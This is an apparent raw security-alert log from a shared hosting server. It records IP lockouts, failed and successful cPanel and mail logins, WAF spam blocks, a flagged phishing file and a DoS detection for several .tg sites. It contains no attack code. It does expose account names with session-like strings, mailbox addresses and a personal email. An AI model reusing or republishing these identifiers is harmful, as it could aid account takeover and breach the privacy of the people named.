158.173.74.33 - - [23/Jun/2026:23:02:37 +0000] "GET /favicon.ico HTTP/2.0" 415 587 misstogo.tg "https://misstogo.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116914&pdata=https%253A%252F%252Fmisstogo.tg%252Fe4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782255360" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.33


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.192.176
country_id: 1819730
description:
Jun 23 23:02:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.192.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.112.179.35
country_id: 3469034
description:
Jun 23 23:02:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.112.179.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.97.5
country_id: 1814991
description:
Jun 23 23:03:03 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.51.97.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.117.105.7
country_id: 1814991
description:
Jun 23 23:04:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.117.105.7 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [23/Jun/2026:23:03:36 +0000] "GET /favicon.ico HTTP/2.0" 415 587 misstogo.tg "https://misstogo.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116914&pdata=https%253A%252F%252Fmisstogo.tg%252Fe4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782255360" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [23/Jun/2026:23:03:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116914&pdata=https%253A%252F%252Fmisstogo.tg%252Fe4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782255360 HTTP/2.0" 404 561 misstogo.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.246.252
country_id: 1814991
description:
Jun 23 23:05:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.246.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 23:05:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 172.235.51.82
country_id: 6252001
description:
[2026-06-23 23:06:25 +0000] info [cpaneld] 172.235.51.82 NEW wcnyaruu:9wvFob4zak4Aa5F8 address=172.235.51.82,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.225.52.111
country_id: 290557
description:
Jun 23 23:08:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.225.52.111 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.230.198.48
country_id: 3932488
description:
45.230.198.48 - - [23/Jun/2026:23:08:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789991&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgeneral-felix-kadanga-arrete%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782256102 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/general-felix-kadanga-arrete/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.9531.1415 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.230.198.48


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 23:07:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 23 23:09:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 23 23:10:13 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.136.180.139
country_id: 1814991
description:
Jun 23 23:09:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.136.180.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.79.150.207
country_id: 6252001
description:
[2026-06-23 23:09:37 +0000] info [cpaneld] 45.79.150.207 NEW wcnyaruu:5xYHvxaWpdgvOukC address=45.79.150.207,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.54.41
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.45.140.54.41||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.33.156
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.45.135.33.156||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.12.92.179
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.31.12.92.179||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun 23 23:11:02 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 23:12:17 +0000] info [cpaneld] 13.222.202.238 - enadamso "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.115.49.119
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.212.115.49.119||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 2.59.50.147
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.2.59.50.147||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.248.139.68
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.109.248.139.68||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.54.152
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.45.140.54.152||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.83.118.33
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.45.83.118.33||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.119.41.88
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.92.119.41.88||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.134.182.61
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.45.134.182.61||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 23:12:06 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.139.177.57
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.45.139.177.57||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.142.252.236
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.45.142.252.236||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.88.151.246
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-11.45.88.151.246||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.132.163.33
country_id: 2921044
description:
[2026-06-23 23:13:00 +0000] info [cpaneld] 91.132.163.33 - admin "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.76.93
country_id: 6252001
description:
[2026-06-23 23:16:05 +0000] info [cpaneld] 217.181.76.93 - qfaclpeg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-23 23:17:09 +0000] info [cpaneld] 37.130.84.20 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.218
country_id: 2300660
description:
Jun 23 23:17:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-23 23:19:24 +0000] info [cpaneld] 37.130.84.20 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.20
country_id: 798544
description:
Jun 23 23:19:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jun 23 23:21:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.93.83
country_id: 2635167
description:
[2026-06-23 23:22:15 +0000] info [cpaneld] 217.181.93.83 - vejjghdd "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.77.65.36
country_id: 2921044
description:
Jun 23 23:26:13 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.77.65.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.74
country_id: 2635167
domain: delxia.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/zykoahbv/public_html/.039199722291323.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.55.176.34
country_id: 3469034
description:
Jun 23 23:28:18 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.55.176.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 23 23:28:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jun 23 23:28:23 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.18
country_id: 2635167
description:
[2026-06-23 23:27:33 +0000] info [cpaneld] 5.230.153.18 NEW zykoahbv:rccyLAxtTDeJKfVw address=5.230.153.18,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.73.190.98
country_id: 1835841
description:
Jun 23 23:27:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.73.190.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-06-23 23:27:35 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:46931: 535 Incorrect authentication data (set_id=info@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.55.176.34
country_id: 3469034
description:
Jun 23 23:28:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.55.176.34 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 23:32:32 +0000] info [cpaneld] 13.222.202.238 - kwbcfbmo "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-23 23:32:39 +0000] info [cpaneld] 37.130.84.20 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.51.212.130
country_id: 3469034
description:
Jun 23 23:32:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.51.212.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.51.212.130
country_id: 3469034
description:
2026-06-23 23:32:56 dovecot_login authenticator failed for H=([186.239.254.4]) [187.51.212.130]:53667: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 23:33:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.10.61
country_id: 3469034
description:
Jun 23 23:36:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.10.61 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 23:36:58 +0000] info [cpaneld] 13.222.202.238 - pduusmyf "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 23 23:36:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.10.61
country_id: 3469034
description:
Jun 23 23:36:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.10.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jun 23 23:36:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jun 23 23:38:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.246.188.73
country_id: 2750405
description:
185.246.188.73 - gsizyncj [23/Jun/2026:23:39:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9554839&pdata=https%253A%252F%252Fortouche.com%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782257976 HTTP/2.0" 302 0 ortouche.com "https://ortouche.com:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.246.188.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 23:41:36 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:38202: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.59.119
country_id: 1269750
description:
[2026-06-23 23:46:17 +0000] info [cpaneld] 20.40.59.119 - netflix "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netflix (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.59.119
country_id: 1269750
description:
[2026-06-23 23:47:17 +0000] info [cpaneld] 20.40.59.119 - kavznjyb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.13.175.237
country_id: 1814991
description:
Jun 23 23:47:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.13.175.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.18.129
country_id: 3469034
description:
Jun 23 23:47:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.18.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.226.101.42
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-48.213.226.101.42||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.235
country_id: 2300660
description:
Jun 23 23:48:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 213.226.101.42
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:984049459993690||Email:p.e.r.sa.it.ov.22@gmail.com||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.80.62
country_id: 1269750
description:
Jun 23 23:49:08 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.80.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.152.118.160
country_id: 1814991
description:
Jun 23 23:51:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.152.118.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.118.160
country_id: 1814991
description:
2026-06-23 23:51:47 dovecot_login authenticator failed for H=([218.13.141.86]) [39.152.118.160]:30906: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.59.119
country_id: 1269750
description:
[2026-06-23 23:52:24 +0000] info [cpaneld] 20.40.59.119 - seft "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user seft (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.79.254.162
country_id: 1880251
description:
Jun 23 23:53:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.79.254.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.79.254.162
country_id: 1880251
description:
2026-06-23 23:53:47 dovecot_plain authenticator failed for H=(elmisoj6a3tem4uq4l3j29t9wlv) [47.79.254.162]:55270: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.40
country_id: 130758
description:
Jun 23 23:53:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 23:54:03 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:34198: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 23:55:13 +0000] info [cpaneld] 13.222.202.238 - czqxxxnu "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.77.65.36
country_id: 2921044
description:
Jun 23 23:55:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.77.65.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jun 23 23:57:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.19.138
country_id: 953987
description:
Jun 23 23:57:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.19.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.19.138
country_id: 953987
description:
Jun 23 23:57:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.19.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 00:01:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 24 00:02:58 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.108.214.27
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7eme-edition-du-forum-international-afrique-developpement-les-atouts-economiques-du-togo-mis-en-avant/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.219.70.174
country_id: 1880251
description:
Jun 24 00:11:47 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.219.70.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.219.70.174
country_id: 1880251
description:
2026-06-24 00:11:49 dovecot_plain authenticator failed for H=(4tx04ghwk52iynpqdd9p) [8.219.70.174]:52166: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [24/Jun/2026:00:13:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003928&pdata=http%253A%252F%252Fceni.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782259997 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.135
country_id: 2395170
description:
Jun 24 00:19:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 24 00:23:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 00:25:06 +0000] info [cpaneld] 13.222.202.238 - whmcsadmin "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 154.70.81.34
country_id: 2363686
description:
[2026-06-24 00:24:32 +0000] info [cpaneld] 154.70.81.34 NEW jmtctoni:ZskVICcvOECVKanY address=154.70.81.34,app=cpaneld,creator=jmtctoni,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jun 24 00:26:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jun 24 00:29:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.130.239.137
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.130.239.137: 80 connections per 30 seconds to 53 port.


